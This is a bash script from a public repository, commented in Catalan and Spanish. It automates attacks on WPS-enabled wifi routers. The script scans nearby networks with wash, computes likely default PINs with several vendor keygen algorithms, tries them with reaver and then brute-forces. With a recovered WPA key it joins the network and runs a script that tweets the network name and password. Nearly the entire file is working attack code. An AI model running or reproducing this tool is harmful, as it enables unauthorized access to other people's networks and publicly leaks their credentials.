arnaucube
arnaucube/wifiAutoWPSPublic Self-hosted repository
wifiAutoWPS/wpssx.sh
wpssx.shRaw
  1#!/bin/bash
  2
  3#
  4# AVÍS
  5# modificació del codi original, codi original de www.seguridadwirless.net
  6# modificació per fer que l'execució sigui pràcticament autònoma, i que al
  7# acabar es conecti a la xarxa wifi, i envii un tweet amb l'ESSID i la contrassenya
  8#
  9# data versió: 2015/01/01
 10# Arnau
 11#
 12
 13
 14# www.seguridadwireless.net
 15#
 16# Búsqueda de redes con WPS activo (wash), cálculo del posible PIN por defecto
 17# y prueba del PIN calculado (reaver)
 18
 19#######################################
 20#############  CHANGELOG  #############
 21#######################################
 22# 30/12/2014  VERSION 3.2
 23# - Solucionado bug en la cuenta atrás mientras escanea en busca de objetivos
 24#
 25# 02/03/2014  VERSION 3.1
 26# - Solucionado bug al buscar el pin genérico en la base de datos cuando el objetivo tiene el ESSID cambiado.
 27#
 28# 26/02/2014  VERSION 3.0
 29# - Solucionado bug al buscar el pin genérico en la base de datos cuando hay 2 macs iguales.
 30# - Se limita el tiempo de espera para comprobar actualizaciones para que no se quede el script pillado si el server tarda en responder
 31#
 32# 11/02/2014  VERSION 2.9
 33# - Añadia función de actualizar la base de datos al inicio del script (solo si hay internet lógicamente)
 34
 35# 07/02/2014  VERSION 2.8
 36# - Las Orange-XXXX estaban "baneadas" por coincidir algunas macs con las VodafoneXXXX y daban falso positivo,
 37#   ahora solo se banean si el keygen es EasyboxWPS, ya que algunas son comatibles con el algoritmo ComputePIN
 38
 39# 03/02/2014  VERSION 2.7
 40# - Reaparado un bug al mostrar el PIN en algunas ocasiones.
 41#######################################
 42#######################################
 43
 44# Variables globales
 45SCRIPT="WPSPinGenerator"
 46VERSION="3.2"
 47KEYS="$HOME/swireless/$SCRIPT/Keys"
 48TMP="/tmp/$SCRIPT"
 49MACs_DB="$(cat "$HOME/swireless/patrones_conocidos.txt" 2>/dev/null|grep -v "^#")"
 50
 51CheckPatronesConocidos() {
 52
 53	BuscarESSID() {
 54
 55		while read LINEA; do
 56
 57			DB_ESSID="$(echo "$LINEA"|awk '{print $4}')"
 58			CHECKESSID="$(echo "$DB_ESSID"|tr -d '?')"
 59			if [ ${#DB_ESSID} -eq ${#ESSID} -a "$CHECKESSID" = "${ESSID:0:${#CHECKESSID}}" ]; then
 60
 61				KEYGEN="$(echo "$LINEA"|awk '{print $3}')"
 62				[ "$KEYGEN" = "PINGENERICO" ] && PINGENERICO="$(echo "$LINEA"|rev|awk -F'\t' '{print $1}'|rev)"
 63				SOPORTADA="SI"
 64				break
 65			fi
 66		done <"$TMP/DB_CHECK.txt"
 67	}
 68
 69	unset SOPORTADA KEYGEN PINGENERICO
 70
 71	[ "$(echo "$ESSID"|grep -x "^WiFi[0-9]*$")" ] && [ ${#ESSID} -eq 10 ] && return
 72	#[ "${ESSID:0:3}" = "ONO" ] && [ ${#ESSID} -eq 7 ] && [ ! "$(echo "${ESSID:3:7}"|grep -x "^[[:xdigit:]]*0$")" ] && return
 73
 74	DB_CHECK1="$(echo "$MACs_DB"|grep "^??:??:??"|grep "WPS")"
 75	echo "$DB_CHECK1" >"$TMP/DB_CHECK.txt"
 76	BuscarESSID
 77
 78	if [ ! "$SOPORTADA" ]; then
 79
 80		DB_CHECK2="$(echo "$MACs_DB"|grep "^${BSSID:0:8}"|grep "WPS")"
 81		if [ "$DB_CHECK2" ]; then
 82
 83			echo "$DB_CHECK2" >"$TMP/DB_CHECK.txt"
 84			BuscarESSID
 85
 86			[ ! "$SOPORTADA" ] && SOPORTADA="¿?" && KEYGEN="$(echo "$DB_CHECK2"|head -1|awk '{print $3}')" && \
 87			[ "$KEYGEN" = "PINGENERICO" ] && PINGENERICO="$(echo "$DB_CHECK2"|head -1|rev|awk -F'\t' '{print $1}'|rev)"
 88		fi
 89	fi
 90
 91	[ "$(echo "$ESSID"|grep -x "^Orange-[[:xdigit:]]*$")" ] && [ ${#ESSID} -eq 11 ] && [ "$KEYGEN" = "EasyboxWPS" ] && return
 92
 93	if [ ! "$SOPORTADA" ]; then
 94
 95		if [ "$(echo "$ESSID"|grep "^vodafone")" ] && [ ${#ESSID} -eq 12 ]; then
 96
 97			KEYGEN="ComputePIN"
 98			SOPORTADA="¿?"
 99
100		elif [ "$(echo "$ESSID"|grep "^MOVISTAR_")" ] && [ ${#ESSID} -eq 13 ]; then
101
102			PINGENERICO="12345670 71537573"
103			SOPORTADA="¿?"
104		fi
105	fi
106
107	KEYGEN_WPS[$countWPS]="$KEYGEN"
108	PIN_GENERICO[$countWPS]="$PINGENERICO"
109	SOPORTADA_WPS[$countWPS]="$SOPORTADA"
110}
111
112###################################################################
113###################################################################
114# Yeah Niroz was here, computePIN by ZaoChunsheng, C portado a bash
115function wps_pin_checksum() {
116
117pin=$(echo ${pin}+0|bc -l) # Le quitamos los ceros de la izquierda para que salga bien el checksum
118
119acum=0
120PIN_p2=0
121while [ $pin -gt 0 ]; do
122	acum=$(($acum + (3 * ($pin % 10))))
123	pin=$(($pin / 10))
124	acum=$(($acum + ($pin % 10)))
125	pin=$(($pin / 10))
126done
127result=$(((10 - ($acum % 10)) % 10))
128PIN_p2=$(($result % 10000000))
129}
130
131# Algoritmos del script WPSPIN
132WPSPIN() {
133CHECKESSID=$(echo $ESSID | cut -d '-' -f1)
134#DEBUTBSSID=$(echo $BSSID | cut -d ":" -f1,2,3)
135#CHECKBSSID=$(echo $DEBUTBSSID | tr -d ':')
136
137
138#segunda parte de bssid xx:xx:xx:XX:XX:XX
139BSSID_p2=$(echo $BSSID | cut -d ':' -f4-)
140
141#6 últimos dígitos de bssid sin ':'
142MAC=$(echo $BSSID_p2 | tr -d ':')
143
144#MAC = 6 últimos dígitos hex de la mac
145hex=$(echo -n $MAC | tr [:lower:] [:upper:])  #minúsculas a mayúsculas
146
147#PIN_p1 primera parte del pin, PIN_p2 segunda parte del pin
148PIN_p1=$(echo "ibase=16; $hex"|bc)  #convertir hex a decimal
149#PIN_p1=$(printf '%d' 0x$hex) #convertir hex a decimal, otra forma
150
151PIN_p1a=$(($PIN_p1 % 10000000))  # elimina dígito más significativo de PIN_p1
152#PIN_p1b=$((($PIN_p1 % 10000000)+8))  # elimina dígito más significativo y suma 8
153#PIN_p1c=$((($PIN_p1 % 10000000)+14))
154
155pin=$PIN_p1a
156wps_pin_checksum
157PINWPS=$PIN_p1a$PIN_p2
158
159# Rellenamos con ceros a la izquierda hasta que el número sea de 8 dígitos
160while [ ${#PINWPS} -lt 8 ]; do PINWPS=0${PINWPS}; done
161
162#pin=$PIN_p1b
163#wps_pin_checksum
164#PINWPS2=$(printf "%07d%d" "$PIN_p1b" "$PIN_p2")
165
166#pin=$PIN_p1c
167#wps_pin_checksum
168#PINWPS3=$(printf "%07d%d" "$PIN_p1c" "$PIN_p2")
169}
170###################################################################
171###################################################################
172
173###################################################################
174###################################################################
175# Pin generator for FTE-XXXX (HG552c), original algorithm by kcdtv
176
177FTE_Keygen() {
178#FIN_ESSID=XXXX <- FTE-XXXX
179  FIN_ESSID=$(echo $ESSID | cut -d '-' -f2)
180
181#nos quedamos con el 4 par de la bssid xx:xx:xx:XX:xx:xx
182  PAR=$(echo $BSSID_p2 | cut -d ':' -f1)
183  PAR=$(echo $PAR | tr -d ':')
184
185#hex=AB1234, donde essid es FTE-1234 y bssid es xx:xx:xx:AB:xx:xx
186  hex=$(echo $PAR$FIN_ESSID)
187
188  MAC=$(printf '%d' 0x$hex) #hex to dec
189
190  PIN_p1=$((($MAC % 10000000)+7))  # elimina dígito más significativo de MAC y +7
191
192  pin=$PIN_p1
193  wps_pin_checksum
194  PINWPS=$PIN_p1$PIN_p2
195
196  # Rellenamos con ceros a la izquierda hasta que el número sea de 8 dígitos
197  while [ ${#PINWPS} -lt 8 ]; do PINWPS=0${PINWPS}; done
198}
199###################################################################
200###################################################################
201
202
203easybox_wps() {
204###################################################
205#
206# Generador de clave WPA y PIN WPS de VodafoneXXXX
207# Escrito en bash por geminis_demon - www.seguridadwireless.net
208# Algoritmo descubierto por Stefan Viehböck
209# Gracias a Coeman76 por explicar del funcionamiento del algoritmo
210#
211##################################################################
212
213# Función que convierte de hex a decimal
214hex2dec() {
215echo $1|sed 's,\(..\)\(..\)\(..\)\(..\),\4\3\2\1,g'|(read hex;echo $((0x${hex})))
216}
217
218# Cojemos los pares 5 y 6 del bssid
219PAR5=$(echo $BSSID|cut -d':' -f5)
220PAR6=$(echo $BSSID|cut -d':' -f6)
221
222# Concatenamos los pares 5 y 6 y los convertimos a decimal para sacar el serial
223SERIAL=$(hex2dec ${PAR5}${PAR6})
224
225# Rellenamos con ceros a la izquierda hasta que el número sea de 5 dígitos
226while [ ${#SERIAL} -lt 5 ]; do SERIAL=0${SERIAL}; done
227
228# Cojemos los 4 últimos dígitos del serial
229SERIAL2=$(echo $SERIAL|cut -c2)
230SERIAL3=$(echo $SERIAL|cut -c3)
231SERIAL4=$(echo $SERIAL|cut -c4)
232SERIAL5=$(echo $SERIAL|cut -c5)
233
234# Convertimos cada digito de los pares 4 y 5 a decimal
235DEC1=$(hex2dec $(echo $PAR5|cut -c1))
236DEC2=$(hex2dec $(echo $PAR5|cut -c2))
237DEC3=$(hex2dec $(echo $PAR6|cut -c1))
238DEC4=$(hex2dec $(echo $PAR6|cut -c2))
239
240# Hacemos la suma para obtener los 2 números maestros
241MAESTRO1=$(((${SERIAL2}+${SERIAL3}+${DEC3}+${DEC4})%16))
242MAESTRO2=$(((${SERIAL4}+${SERIAL5}+${DEC1}+${DEC2})%16))
243
244# Obtenemos los valores del PIN mediante formulas XOR
245PIN1=$((${MAESTRO1}^${SERIAL5}))
246PIN2=$((${MAESTRO1}^${SERIAL4}))
247PIN3=$((${MAESTRO2}^${DEC2}))
248PIN4=$((${MAESTRO2}^${DEC3}))
249PIN5=$((${DEC3}^${SERIAL5}))
250PIN6=$((${DEC4}^${SERIAL4}))
251PIN7=$((${MAESTRO1}^${SERIAL3}))
252
253# Concatenamos los valores y los convertimos a exadecimal
254PIN=$(printf "%x%x%x%x%x%x%x\n" $PIN1 $PIN2 $PIN3 $PIN4 $PIN5 $PIN6 $PIN7)
255
256# Convertimos las minusculas en mayusculas
257PIN=$(echo $PIN|tr '[:lower:]' '[:upper:]')
258
259# Convertimos los valores a decimal
260PIN=$(hex2dec $PIN)
261
262# Nos quedamos con los 7 últimos dígitos
263PIN=$(echo $PIN|rev|cut -c1-7|rev)
264
265# Añadimos el útimo digito calculado por el CheckSum
266pin=$PIN
267wps_pin_checksum
268PINWPS=$PIN$PIN_p2
269
270# Rellenamos con ceros a la izquierda hasta que el número sea de 8 dígitos
271while [ ${#PINWPS} -lt 8 ]; do PINWPS=0${PINWPS}; done
272}
273
274# Comprobar si la interface está conectada a internet
275CheckETH() {
276clear
277if [ ! "$(iwconfig $tarjselec|grep "Not-Associated")" ]; then
278  echo
279  echo "Per evitar errors, la interfície \"$tarjselec\" no ha d'estar conectada a internet! "
280  echo ""
281  echo "Presiona ENTER per tornar a l'inici"
282  read junk
283  menu
284fi
285}
286
287# Funcion de seleccionar el objetivo a atacar, la mayor parte del codigo ha sido sacado del script Multiattack de M.K
288SeleccionarObjetivo() {
289i=0
290redesWPS=0
291while read BSSID Channel RSSI WPSVersion WPSLocked ESSID;do
292  longueur=${#BSSID}
293  if [ $longueur -eq 17 ] ; then
294    i=$(($i+1))
295    WPSbssid[$i]=$BSSID
296    WPSCHANNEL[$i]=$Channel
297    WPSessid[$i]="$ESSID"
298    PWR[$i]=$RSSI
299    LOCK[$i]=$WPSLocked
300  fi
301  redesWPS=$i
302done <"$TMP/wash_capture"
303if  [ "$redesWPS" = "0" ];then
304  clear
305  echo ""
306  echo ""
307  echo "                        * * *     A T E N C I Ó     * * *                "
308  echo ""
309  echo "                          no s'ha trobat cap xarxa "
310  echo "                          amb WPS activat"
311  echo ""
312  echo "                          apreta ENTER per tornar a començar"
313  read junk
314  InfoAP="OFF"
315  menu
316else
317  clear
318  echo ""
319  echo "            Les següents xarxes són susceptibles a un atac amb REAVER"
320  echo ""
321  echo -n "            BSSID       Algoritme  Genéric  Lock  Senyal  Canal  ESSID"
322  [ "$FABRICANTES" = "1" ] && echo -en "\t\tFabricant"
323  echo ""
324  echo ""
325  countWPS=0
326  while [ 1 -le $i ]; do
327    countWPS=$(($countWPS+1))
328    ESSID="${WPSessid[$countWPS]}"
329    BSSID=${WPSbssid[$countWPS]}
330    PWR=$((${PWR[$countWPS]}+100))
331    CHANNEL=${WPSCHANNEL[$countWPS]}
332    LOCK=${LOCK[$countWPS]}
333    if [ "$LOCK" = "Yes" ]; then LOCK="SI"; else LOCK="NO"; fi
334
335    CheckPatronesConocidos
336    SOPORTADA_WPS="${SOPORTADA_WPS[$countWPS]}"
337    KEYGEN_WPS="${KEYGEN_WPS[$countWPS]}"
338    PIN_GENERICO="${PIN_GENERICO[$countWPS]}"
339
340    if [ "$PIN_GENERICO" ]; then
341
342	if [ "$SOPORTADA_WPS" = "SI" ]; then
343
344	    GENERICO="SI"
345	else
346	    GENERICO="¿?"
347	fi
348    else
349	GENERICO="NO"
350    fi
351
352
353    if [ "$KEYGEN_WPS" ] && [ "$KEYGEN_WPS" != "PINGENERICO" ]; then
354
355	if [ "$SOPORTADA_WPS" = "SI" ]; then
356
357	    ALGORITMO="SI"
358	else
359	    ALGORITMO="¿?"
360	fi
361    else
362	ALGORITMO="NO"
363    fi
364
365    WPA_TXT="$(echo "$ESSID")_$(echo $BSSID|tr ':' '-').txt"
366    if [ -f "$TMP/$WPA_TXT" ]; then
367      RESALTAR="\E[7m"
368    else
369      RESALTAR=""
370    fi
371
372    if [ "$FABRICANTES" = "1" ]; then
373      FABRICANTE="$(cat /etc/aircrack-ng/airodump-ng-oui.txt|grep -m1 "$(echo "${BSSID:0:8}"|tr ':' '-')"|awk -F'\t' '{print $3}')"
374      [ ! "$FABRICANTE" ] && FABRICANTE="Desconocido"
375      while [ ${#ESSID} -lt 13 ]; do ESSID="$ESSID "; done
376      ESSID="${ESSID:0:13}"
377      FABRICANTE="${FABRICANTE:0:14}"
378    else
379      FABRICANTE=""
380    fi
381
382    N=$countWPS
383    [ $N -lt 10 ] && N=" $N"
384    [ $PWR -lt 10 ] && PWR=" $PWR"
385    [ $CHANNEL -lt 10 ] && CHANNEL="$CHANNEL "
386
387    echo -e " $N)  ${RESALTAR}$BSSID\E[0m     $ALGORITMO        $GENERICO      $LOCK    $PWR%     $CHANNEL   ${RESALTAR}$ESSID\E[0m  $FABRICANTE"
388
389    i=$(($i-1))
390  done
391  i=$redesWPS
392  echo ""
393  echo " v)  Vure/ocultar fabricants "
394  echo " 0)  tornar a l'inici "
395  echo ""
396  echo ""
397  echo " --> Selecciona una xarxa[0m"
398  read WPSoption
399  set -- ${WPSoption}
400
401  if [ "$WPSoption" = "V" -o "$WPSoption" = "v" ]; then
402    if [ "$FABRICANTES" = "1" ]; then
403      FABRICANTES=""; SeleccionarObjetivo
404    else
405      FABRICANTES=1; SeleccionarObjetivo
406    fi
407  elif [ $WPSoption -le $redesWPS ]; then
408    if [ "$WPSoption" = "0" ];then
409      menu
410    fi
411    ESSID=${WPSessid[$WPSoption]}
412    BSSID=${WPSbssid[$WPSoption]}
413    CHANNEL=${WPSCHANNEL[$WPSoption]}
414    PIN_GENERICO=${PIN_GENERICO[$WPSoption]}
415    KEYGEN_WPS=${KEYGEN_WPS[$WPSoption]}
416    clear
417  else
418    echo " Opció no vàlida... torna a escollir"
419    sleep 2
420    SeleccionarObjetivo
421  fi
422fi
423
424InfoAP="ON"
425ProbarPINCalculado
426}
427
428# Escanear con wash
429WashScan() {
430
431[ ! "$WIFI" ] && auto_select_monitor
432
433CheckETH
434
435# Nos aseguramos que que la interface está up para evitar problemas con las ralink
436ifconfig $tarjselec up
437
438echo ""
439echo " -->  Temps d'escaneig 30s "
440  SCANTIME=15
441
442echo ""
443echo " -->  Escanejant tots els canals per defecte (de l'1 al 14) "
444  SCANCHANNEL=""
445
446
447sleep 1
448tput clear
449tput sc
450
451if [ -e "$TMP/wash_capture" ]; then rm -rf "$TMP/wash_capture"; fi
452killall wash 2>/dev/null
453wash -D -i $WIFI -C $SCANCHANNEL -o $TMP/wash_capture 2>/dev/null
454sleep 1
455WashPID=$(pgrep wash)
456
457sleep $SCANTIME && kill $WashPID 2>/dev/null &
458sleep 1
459
460trap "kill $WashPID" SIGINT
461
462seconds=$SCANTIME
463while [ -e /proc/$WashPID ]; do
464  seconds=$(($seconds-1))
465  sleep 1
466  tput rc
467  tput ed
468  echo "Escanejant en busca d'objectius... $seconds segons (Ctrl+C para aturar)"
469  echo ""
470  cat $TMP/wash_capture
471done
472
473cat "$TMP/wash_capture"|tail +3|sort -k3 -n >"$TMP/wash_capture.new"
474mv "$TMP/wash_capture.new" "$TMP/wash_capture"
475
476SeleccionarObjetivo
477}
478
479auto_select_monitor() {
480#! /bin/bash
481
482
483#############################################################################################################
484# Programa:	monitormode
485# Autor:	M.K. Maese Kamara
486#
487# Detectar tarjetas y montar  en modo monitor
488
489#############################################################################################################
490
491
492#poner tarjeta en modo monitor AUTOMATICO
493
494clear
495t=0
496if [ ! "$WIFI" ]; then
497> $TEMP/wireless.txt
498cards=`airmon-ng|cut -d ' ' -f 1 | awk {'print $1'} |grep -v Interface #|grep -v  mon   `
499echo $cards >> $TEMP/wireless.txt
500tarj1=`cat $TEMP/wireless.txt | cut -d  ' ' -f 1  | awk  '{print $1}'`
501tarj2=`cat $TEMP/wireless.txt | cut -d  ' ' -f 2  | awk  '{print $1}'`
502rm  -rf $TEMP/wireless.txt
503
504if  [ ! "$tarj1" ]; then
505clear
506echo "                  * * *     A T E N C I Ó     * * *                "
507	echo ""
508	echo "    No s'ha trobat cap targeta wifi a l'equip"
509	echo ""
510	echo "    Pulsa ENTER per tornar a l'inici"
511read yn
512menu
513fi
514
515if [ "$tarj1" = "$tarj2" ]; then
516tarj2=""
517fi
518
519tarjselec=$tarj1
520
521if [ "$tarj2" ] ;then
522echo
523echo
524echo "      s'han trobat les següents targetes wifi a l'equip"
525echo
526
527airmon-ng |awk 'BEGIN { print "Tarjeta  Chip              Driver\n------- ------------------ ----------" } \
528  { printf "%-8s %-8s %-1s %10s\n", $1, $2, $3, $4 | "sort -r"}' |grep -v Interface  |grep -v Chipset
529
530echo "      Selecciona una per utilitzarla en mode monitor"
531echo
532
533tarj_wire=""
534tarjselec=""
535function selectarj {
536select tarjselec in `airmon-ng | awk {'print $1 | "sort -r"'} |grep -v Interface |grep -v Chipset  `; do
537break;
538done
539
540if [ ! "$tarjselec" ]; then
541echo "  La opció seleccionada no és vàlida"
542echo "  Introdueix una opció vàlida..."
543selectarj
544fi
545}
546
547if [ ! "$tarjselec" ]; then
548selectarj
549fi
550
551echo ""
552echo "Interfície seleccionada: $tarjselec"
553
554# Limpieza de interface
555ifconfig $tarjselec down >/dev/null
556ifconfig $tarjselec up >/dev/null
557
558# Comprobación de interface
559CheckETH
560
561fi
562else
563echo
564fi
565tarjmonitor=${tarjselec:0:3}
566if [ "$tarjmonitor" != "mon" ] && [ ! "$WIFI" ];then
567echo ""
568echo ""
569echo "          s'està montant la targeta en mode monitor, espera..."
570echo ""
571sleep 1
572
573airmon-ng start $tarjselec >/dev/null
574cards=`airmon-ng|cut -d ' ' -f 1 |awk {'print $1 | "sort -d"'} |grep -v Interface |grep -v wlan`
575largo=${#cards}
576final=$(($largo-4))
577WIFI=${cards:final}
578echo  " $WIFI ----> S'utilitzarà en mode monitor."
579sleep 2
580
581else
582if [ ! "$WIFI" ];then
583WIFI="$tarjselec"
584
585echo ""
586echo  " $WIFI ----> S'utilitzarà en mode monitor."
587sleep 2
588fi
589fi
590clear
591}
592
593#Función de desmontar tarjeta y salir, sacada de el script Multiattack de M.K.
594function DESMONTAR_tarj_y_salir {
595if [ "$WIFI" ]; then
596clear
597echo ""
598  echo ""
599  echo ""
600  echo "	####################################################################"
601  echo "	###                                                              ###"
602  echo "	###       ¿Vols desmuntar la targeta abans de sortir?            ###"
603  echo "	###                                                              ###"
604  echo "	###        (n) no   -> sortir sense desmuntar                    ###"
605  echo "	###        (m) Menú -> tornar al menú principal                  ###"
606  echo "	###        ENTER    -> Desmuntar y Sortir                        ###"
607  echo "	###                                                              ###"
608  echo "	###                                                              ###"
609  echo "	####################################################################"
610  echo ""
611  echo ""
612read salida
613set -- ${salida}
614
615if [ "$salida" = "m" ]; then
616menu
617fi
618if [ "$salida" = "n" ]; then
619  echo ""
620echo "         Fins aviat..."
621sleep 2
622clear
623exit
624fi
625echo "$WIFI Ha sigut desmuntada"
626airmon-ng stop $WIFI >/dev/null
627fi
628  echo ""
629echo "         Fins aviat..."
630sleep 2
631clear
632 exit
633
634}
635
636ParsearReaver() {
637echo
638WPA_KEY="$(tail $TMP/reaver_capture|grep "WPA PSK:"|cut -d"'" -f2-|rev|cut -d"'" -f2-|rev)"
639if [ "$WPA_KEY" ]; then
640
641  if [ -f "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc.bak" ]; then
642    rm -f "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc.bak"
643  fi
644
645  PIN="$(tail $TMP/reaver_capture|grep "WPS PIN:"|cut -d"'" -f2-|rev|cut -d"'" -f2-|rev)"
646  WPA_TXT="$(echo "$ESSID")_$(echo $BSSID|tr ':' '-').txt"
647  echo "ESSID: $ESSID" >  "$TMP/$WPA_TXT"
648  echo "BSSID: $BSSID" >> "$TMP/$WPA_TXT"
649  echo "PIN WPS: $PIN" >> "$TMP/$WPA_TXT"
650  echo "CLAU WPA: $WPA_KEY" >> "$TMP/$WPA_TXT"
651  nmcli d wifi connect $ESSID password $WPA_KEY iface wlan0
652  python enviatuitwifi.py $ESSID $WPA_KEY
653  cat $TMP/$WPA_TXT|sed -e 's/$/\r/' > "$KEYS/$WPA_TXT"
654  echo -e "\033[0;32mLa clau ha sigut guardada en \"$KEYS/$WPA_TXT\"\E[0m"
655
656else
657
658  if [ -f "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc.bak" ]; then
659    mv "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc.bak" "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc"
660  fi
661
662  echo "No ha sigut possible trobar la clau wpa."
663
664fi
665echo ""
666echo "Presiona enter per tornar al menú"
667read junk
668menu
669}
670
671ProbarPINCalculado() {
672
673LanzarReaver() {
674
675killall reaver 2>/dev/null
676reaver -D -i $WIFI -b $BSSID -c $CHANNEL -a -n -g 1 -p $PINWPS -vv -o $TMP/reaver_capture 2>/dev/null
677sleep 1
678ReaverPID=$(pgrep reaver)
679trap "kill $ReaverPID" SIGINT
680tail -F $TMP/reaver_capture --pid=$ReaverPID
681
682WPA_KEY="$(tail $TMP/reaver_capture|grep "WPA PSK:"|cut -d"'" -f2-|rev|cut -d"'" -f2-|rev)"
683if [ ! "$WPA_KEY" ]; then
684	if [ "$(tail $TMP/reaver_capture|grep "Quitting after 1")" ]; then
685		echo -e "[-] \033[0;31mPIN incorrecte\E[0m\n"
686		sleep 3
687		clear
688	else
689		echo -e "\n\033[0;31mEl procés s'ha aturat, no s'ha pogut provar el PIN\E[0m\n "
690		sleep 3
691		SeleccionarObjetivo
692	fi
693fi
694}
695
696ProbarGenerico() {
697Y=$(echo "$PIN_GENERICO"|tr ' ' '\n'|wc -l)
698X=0
699for PINWPS in $PIN_GENERICO; do
700	X=$(($X+1))
701	echo -e "\033[1;33mPovant amb el PIN genéric $X/$Y... (Ctrl+C per aturar)\E[0m\n "
702	LanzarReaver
703	[ "$WPA_KEY" ] && break
704done
705}
706
707ProbarComputePIN() {
708WPSPIN
709echo -e "\033[1;33mPovant amb algorite ComputePIN... (Ctrl+C per aturar)\E[0m\n "
710LanzarReaver
711}
712
713ProbarEasyboxWPS() {
714easybox_wps
715echo -e "\033[1;33mPovant amb EasyboxWPS... (Ctrl+C per aturar)\E[0m\n "
716LanzarReaver
717}
718
719ProbarFTE_Keygen() {
720FTE_Keygen
721echo -e "\033[1;33mPovant amb FTE_Keygen... (Ctrl+C per aturar)\E[0m\n "
722LanzarReaver
723}
724
725[ ! "$WIFI" ] && auto_select_monitor
726
727CheckETH
728
729# Nos aseguramos que que la interface está up para evitar problemas con las ralink
730ifconfig $tarjselec up
731
732if [ -f "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc" ]; then
733  cp "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc" "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc.bak"
734else
735  touch "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc.bak"
736fi
737
738WPA_KEY=""
739PINWPS=""
740
741[ "$PIN_GENERICO" ] && ProbarGenerico
742
743if [ "$KEYGEN_WPS" = "FTE_Keygen" ]; then
744
745	[ ! "$WPA_KEY" ] && ProbarFTE_Keygen
746	[ ! "$WPA_KEY" ] && ProbarComputePIN
747	[ ! "$WPA_KEY" ] && ProbarEasyboxWPS
748
749elif [ "$KEYGEN_WPS" = "EasyboxWPS" ]; then
750
751	[ ! "$WPA_KEY" ] && ProbarEasyboxWPS
752	[ ! "$WPA_KEY" ] && ProbarComputePIN
753
754else
755	[ ! "$WPA_KEY" ] && ProbarComputePIN
756	[ ! "$WPA_KEY" ] && ProbarEasyboxWPS
757fi
758
759ParsearReaver
760}
761
762FuerzaBruta() {
763
764[ ! "$WIFI" ] && auto_select_monitor
765
766CheckETH
767
768# Nos aseguramos que que la interface está up para evitar problemas con las ralink
769ifconfig $tarjselec up
770
771echo -e "\033[1;33mLlançant atac de força bruta... (Ctrl+C per aturar)\E[0m\n "
772
773killall reaver 2>/dev/null
774reaver -D -i $WIFI -b $BSSID -c $CHANNEL -a -n -vv -o $TMP/reaver_capture 2>/dev/null
775sleep 1
776ReaverPID=$(pgrep reaver)
777trap "kill $ReaverPID" SIGINT
778tail -F $TMP/reaver_capture --pid=$ReaverPID
779
780ParsearReaver
781}
782
783ActualizarBD() {
784
785	DB_LOCAL="$(cat "$HOME/swireless/patrones_conocidos.txt" 2>/dev/null|grep "^# VERSION [0-9]*$"|awk '{print $3}')"
786	DB_REMOTA="$(timeout -s SIGTERM 3 curl -s "http://downloadwireless.net/scripts-live/patrones_conocidos.txt"|grep "^# VERSION [0-9]*$"|awk '{print $3}')"
787
788	[ ! "$DB_REMOTA" ] && return
789
790	if [ ! "$DB_LOCAL" ] || [ $DB_LOCAL -lt $DB_REMOTA ]; then
791
792		[ ! -d "$HOME/swireless" ] && rm -rf "$HOME/swireless" && mkdir -p "$HOME/swireless"
793		[ ! "$(timeout -s SIGTERM 3 curl -s "http://downloadwireless.net/scripts-live/patrones_conocidos.txt" >"$HOME/swireless/patrones_conocidos.txt")" ] && return
794		DB_LOCAL=$DB_REMOTA
795
796		echo
797		echo " - La base de dades ha sigut actualitzada a la versió $DB_LOCAL"
798		echo
799
800		if [ "$(which dir2xzm)" ]; then
801
802			while true; do
803
804				read -p " - ¿Guardar en un módulo XZM? (s/n) " SN
805
806				if [ "$SN" = "S" -o "$SN" = "s" ]; then
807
808					mkdir -p "$TMP/patrones-conocidos-$DB_LOCAL-noarch-1sw$HOME/swireless"
809					cp -f "$HOME/swireless/patrones_conocidos.txt" "$TMP/patrones-conocidos-$DB_LOCAL-noarch-1sw$HOME/swireless"
810					dir2xzm "$TMP/patrones-conocidos-$DB_LOCAL-noarch-1sw" "$HOME/Desktop/patrones-conocidos-$DB_LOCAL-noarch-1sw.xzm" >/dev/null 2>&1
811
812					echo
813					echo " - S'ha creat un mòdul a $HOME/Desktop/patrones-conocidos-$DB_LOCAL-noarch-1sw.xzm"
814					echo
815					break
816
817				elif [ "$SN" = "N" -o "$SN" = "n" ]; then
818
819					break
820				fi
821
822				echo -en "\033[1A"
823				tput ed
824			done
825		fi
826
827		echo " - Presiona qualsevol tecla per continuar"
828		read -sn1
829	fi
830}
831
832# Menú principal
833menu() {
834clear
835echo "  AVÍS"
836echo "  modificació del codi original, codi original de www.seguridadwirless.net"
837echo "  modificació per fer que l'execució sigui pràcticament autònoma, i que al"
838echo "  acabar es conecti a la xarxa wifi, i envii un tweet amb l'ESSID i la contrassenya"
839echo "  pensat per executar-se sobre linux, amb reaver, wash, aircrack-ng i python instalats"
840echo " "
841echo "  data versió: 2015/01/01"
842echo "  Arnau"
843echo " ----------------------------------------------------------------- "
844echo " VERSIO AUTOMATICA - EN PROVES  ---------------------------------- "
845echo " ----------------------------------------------------------------- "
846sleep 2
847echo "-->  som-hi!"
848sleep 1
849echo "
850  __    __               ___ _
851 / / /\ \ \____  ___    / _ (_)_ __
852 \ \/  \/ /  _ \/ __|  / /_)/ | /_
853  \  /\  /| |_) \__ \ / ___/| | | | |
854   \/  \/ |  __/|___/ \/    |_|_| |_|  Generator $VERSION
855          |_|                          www.seguridadwireless.net    "
856echo ""
857echo " ****************************************************"
858echo " * << Based on ZhaoChunsheng work & kcdtv script >> *"
859echo " **************************************************** "
860echo " ----------------------------------------------------------------- "
861echo " VERSIO AUTOMATICA - EN PROVES  ---------------------------------- "
862echo " ----------------------------------------------------------------- "
863####################################################################
864sleep 1
865echo " Versió base de dades: $DB_LOCAL"
866echo " ------------------------------------"
867sleep 1
868WashScan
869ProbarPINCalculado
870FuerzaBruta
871SeleccionarObjetivo
872DESMONTAR_tarj_y_salir
873}
874
875# Comprobación de usuario
876if [ $(id -u) -ne 0 ]; then
877 echo -e "\e[1;31m
878    has de ser root per executar l'script (sudo su).
879
880    Prueba: sudo bash $0
881\e[0m"
882
883 exit 1
884fi
885
886# Crear directorios si no existen
887if [ ! -d $TMP ]; then mkdir -p $TMP; fi
888if [ ! -d $KEYS ]; then mkdir -p $KEYS; fi
